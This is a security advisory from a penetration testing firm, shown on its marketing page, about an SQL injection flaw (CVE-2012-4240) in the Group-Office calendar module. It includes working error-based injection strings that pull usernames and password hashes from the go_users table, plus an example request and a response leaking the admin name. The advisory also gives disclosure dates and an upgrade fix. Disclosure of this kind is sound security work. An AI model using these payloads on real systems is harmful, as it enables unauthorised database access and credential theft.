Reaction Information Security

Penetration testing at its best.

Network penetration testing, web application security, firewall review, CHECK pen testing, server build review, social engineering..

Group Office Calendar SQL Injection


Versions of Group-Office (a web app for online collaboration) prior to 4.0.90 are subject to a SQL injection vulnerability located in the calendar module. A PHP file, used to serve data in the JSON format, does not sufficiently sanitise a user-supplied parameter injected into the ORDER BY part of an SQL query. An attacker can leverage this flaw to extract information from the database via SQL errors.

  • CVE number: CVE-2012-4240
  • Impact: High
  • Vendor homepage:
  • Vendor notified: 19/07/2012
  • Vendor fixed: 28/08/2012
  • Credit: Chris Cooper and Joseph Sheridan of ReactionIS

About ReactionIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

Affected Products

Confirmed in Group-Office community 4.0.71, 4.0.73 and 4.0.88. Other versions may also be affected.


A ‘sort’ parameter on the page /modules/calendar/json.php was found to be subject to a SQL injection vulnerability. It was possible to inject arbitrary SQL statements into an ORDER BY clause, retrieving information from the database via an error message. The attacker must be authenticated as a valid user in order for the attack to be successful.

Injecting the following SQL code into the 'sort' parameter will trigger the vulnerability, retrieving the first user's username. Changing 'username' to 'password' retrieves their hashed password. For version 4.0.71:

ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))

Or for versions 4.0.73 and 4.0.88:

id`,ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1)))#

Example Request (version 4.0.71):

POST /groupoffice/modules/calendar/json.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 162
Cookie: groupoffice=tgocfuhoh7lrqo0mckfef4us04; GO_LANGUAGE=en_UK


Example Response (version 4.0.71):

HTTP/1.1 200 OK
Date: Fri, 20 Jul 2012 14:16:09 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 397
Content-Type: text/html; charset=UTF-8

{"feedback":"<b>Database error:</b> Invalid SQL: SELECT SQL_CALC_FOUND
_ROWS v.* FROM cal_views v INNER JOIN go_acl a ON (v.acl_id = a.acl_id AND
a.level>10 AND (a.user_id=1 OR a.group_id IN (1,2,3))) GROUP BY ORDER BY
ExtractValue(1,CONCAT(0x5c,(SELECT username FROM go_users LIMIT 1))) ASC
LIMIT 0,20<br>n<b>MySQL Error</b>: 1105 (XPATH syntax
error: '\admin')<br>n","success":false}


An authenticated attacker might be able to take control of the database within the context of the MySQL user, and potentially use this as leverage to further compromise the host machine.


Upgrade to Group-Office community 4.0.90.


In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

  • bugtraq () securityfocus com
  • full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be reflected on this page, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.

Get a Quote Online

Submit your testing requirements online and one of the team will get right back to you.

Penetration Testing Services

Firewall reviews, database audits, code reviews, social engineering and more..

Application Security

Ensure your web and mobile apps are safe from attack.

Read more